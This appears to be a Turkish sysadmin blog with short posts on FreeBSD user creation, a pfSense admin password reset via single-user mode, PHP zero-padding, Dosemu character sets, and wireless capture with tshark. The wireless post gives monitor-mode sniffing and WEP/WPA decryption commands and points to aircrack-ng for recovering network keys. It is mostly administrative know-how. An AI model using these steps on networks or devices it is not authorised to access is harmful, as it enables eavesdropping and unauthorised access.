18 Ocak 2012 Çarşamba

FreeBSD Kullanıcı Ekleme

Bazı FreeBSD sistemlerde doğrudan useradd komutu ile kullanıcı eklemek mümkün olmuyor. Bu gibi sistemler için pw komutunu kullanmak gerekiyor.

buildfarm# pw

usage:

  pw [user|group|lock|unlock] [add|del|mod|show|next] [help|switches/values]


Genel kullanım şekli yukarıdaki gibi olan bu komutla harun adında bir kullanıcı eklemek istersen aşağıdaki gibi bir komut verebiliriz.

buildfarm# pw useradd harun -c 'Harun SEKER' -d /home/harun -s /usr/local/bin/bash


harun kullanıcı hesabına parola atamak için ise passwd komutu kullanılabilir.

buildfarm# passwd harun 

13 Ocak 2012 Cuma

pfSense Password Reset

Zaman zaman paroalsı unutulmuş erşilemeyen sistemlerle karşılaşıyoruz. Bazen günümzün önemli bir kısmı unutulan veya bulunamayan parolaların beklenmesi sırasında geçiyor. Bu nedenle bir mani yoksa genellikle parola sıfırlama işlemi yapmak zorunda kalıyoruz.

Olurda bir gün parolası unutulmuş ve konsol erişimi kapatılmış bir pfSense cihazla karşılaşırsanız ve makineye fiziksel erişiminiz varsa aşağıdaki yöntemi izleyerek pfSense yönetici parolasını sıfırlayabilirsiniz.

Öncelikle pfSense sisteme bir klavye ve bir monitör bağlayın. Eğer gömülü sistem kullanıyorsanız konsol kablosu ile bağlanın.

Daha sonra karşınıza gelen ve aşağıda gördüğünüz pfSense açılış menüsünde  5 numaralı "Boot pfSense in single user mode" seçeniğini seçerek sistemi başlatın.


Aşağıdaki ekranı gördüğünüzde Enter tuşuna basarak en temel şekli ile çalışan pfSense komut satırına düşebilirsiniz.


Bu aşamadan sonra sistem tek kullanıcı modunda ve diskler salt okunur olarak açılır ve doğrudan parola sıfırlama işlemi yapılamaz. . Bu nedenle öncelikle kök dizini rw (okuma/yazma) yetkileriyle bağlamamız gerekir. Bunun için aşağıdaki komutları kullanabilirsiniz.
 
#/sbin/mount -u
#/sbin/mount -a
#/etc/rc.initial.password

Bu komutların ardından aşağıda görüldüğü gibi "The webConfigurator admin password and admin privileges will be reset to the default " mesajını göreceksiniz.

Do you want to proceed  [y|n] sorusuna yes cevabı vererek pfSense yönetici parolasını sıfırlayabilirsiniz.




 Bu aşamdan sonra Enter tuşuna basarak devam edin ve aşağıdaki komut ile sistemi yeniden başlatın.

#/sbin/reboot

Makine açıldığında ön tanımlı kullanıcı adı ve parolası ile pfSense sisteme erişebilirsiniz...


10 Ocak 2012 Salı

PHP ile Sıfır Dolgulu Sayı Biçimi

PHP ile kod yazarken bazı durumlarda sayıları sıfır dolgulu göstermem gerekiyor. Böyle durumlarda "Haaa bu kolay yaaa" diyerek not almadığım ama çok sık kullanmadığım için de unuttuğum  str_pad() fonksiyonunu bulmak için cebelleşiyorum.

İşte yine biraz önce değeri -atıyorum- 1 olan olan bir değişkenin değerini 0001 şeklinde sıfır dolgulu olarak yazdırmak için "Neydi o fonksiyon.. Neydi o fonksiyon" diye düşünmek zorunda kaldım. Hazır aklıma gelmişken ve daha önceden defalarca çözüp defalarca unuttuğum bu problem tazeyken buraya not düşeyim... :)

<?php 

$sayi=1;
echo str_pad($sayi, 4, "0", STR_PAD_LEFT); 
?>


Yukarıdaki kod parçacığı 4 basamağa kadar "0" değeri ile dolgu yaparak, $sayi değişkenin değeri 1 olduğunda ekrana 0001 yazarken, $sayi değişkeni 9999 olduğunda ekrana 9999 yazacaktır.

4 Ocak 2012 Çarşamba

Dosemu ve Türkçe Karakterler

Eskiden DOS zamanında kullandığınız yazılımları çalıştırmak ve nostalji yaşamak isterseniz linux üzerinde Dosemu kullanabilirsiniz. Dosemu kurmak için konsolda yönetici yetkileriyle aşağıdaki komutu vermeniz yeterli olacaktır.

apt-get install dosemu


Bu aşamadan sonra eski dos yazılımlarınızı dosemu ile çalıştırabilirsiniz. Ancak kullanmak istediğiniz yazılımlar Türkçe ise dilimize özgü karakterlerin yamulduğunu göreceksiniz.

Eğer Türkçe karakterleri aktif etmek isterseniz /etc/dosemu/dosemu.conf dosyasında $_external_char_set ve $_internal_char_set parametrelerini aşağıdaki gibi düzenlemeniz Türkçe okuyup yazabilmenize imkan tanıyacaktır.

$_external_char_set = "utf8"
$_internal_char_set = "cp857"


Tshark ile Kablosuz Ağ Dinlemek

Kablosuz ağlar üzerinde çalışırken havada uçuşan sinyalleri yakalamak ve kayıt altına almak gerekebiliyor. Böyle bir durumda ağ arabirimini monitor moda geçirmek ve daha sonrasında tshark ile havada uçuşmakta olan sinyalleri yakalayarak pcap biçiminde kayıt etmek mümkün olabilir.

Ağ arabirimini monitör moda geçirmek için aşağıdaki komut kullanılabilir.

iwconfig wlan0 mode monitor

Bu aşamadan sonra ağ arabirimine ulaşan tüm sinaylleri yakalamak ve kaydetmek için aşağıdaki gibi bir komut verilebilir.

tshark -i wlan0 -w veri.pcap


Bu sayede ağa dahil olmadan ve ağı zehirlemeye gerek kalmadan ağ üzerindeki tüm trafiği yakalamak ve incelemek mümkün olabilir. Ancak kablosuz ağın şifreli olduğu durumlarda elde edilen pcap dosyası da doğal olarak şifreli olmaktadır. Şifreli bir kablosuz ağ üzerinde tshark ile trafiği incelemek için aşağıdaki gibi bir komut verilebilir.

tshark -i mon0 -o wlan.enable_decryption:TRUE -o wlan.wep_key1:KABLOSUZAGPAROLASI

Yukarıdaki komut WEP ile şifrelenmiş kablosuz ağları dinlemek için kullanılabilir. Kablosuz ağda kullanılan şifrelemenin WPA türünde olması durumunda aşağıdaki gibi bir komutla havadan toplanan veriler decode edilebilir.

tshark -i mon0 -o wlan.enable_decryption:TRUE -o wlan.wep_key1:wpa-psk:WPAPSKANAHTARI


Doğal olarak şifrelenmiş trafiğin çözülebilmesi için ağ anahtarının bilinmesi gerekir. :) Ağ anahtarını bulmak için aircrack-ng aracı kullanılabilir. Ağ parolası elde edildikten sonra Chaosreader gibi araçlar yardımı ile yakalanan trafikteki dosyalar/veriler ayrıştırılabilir...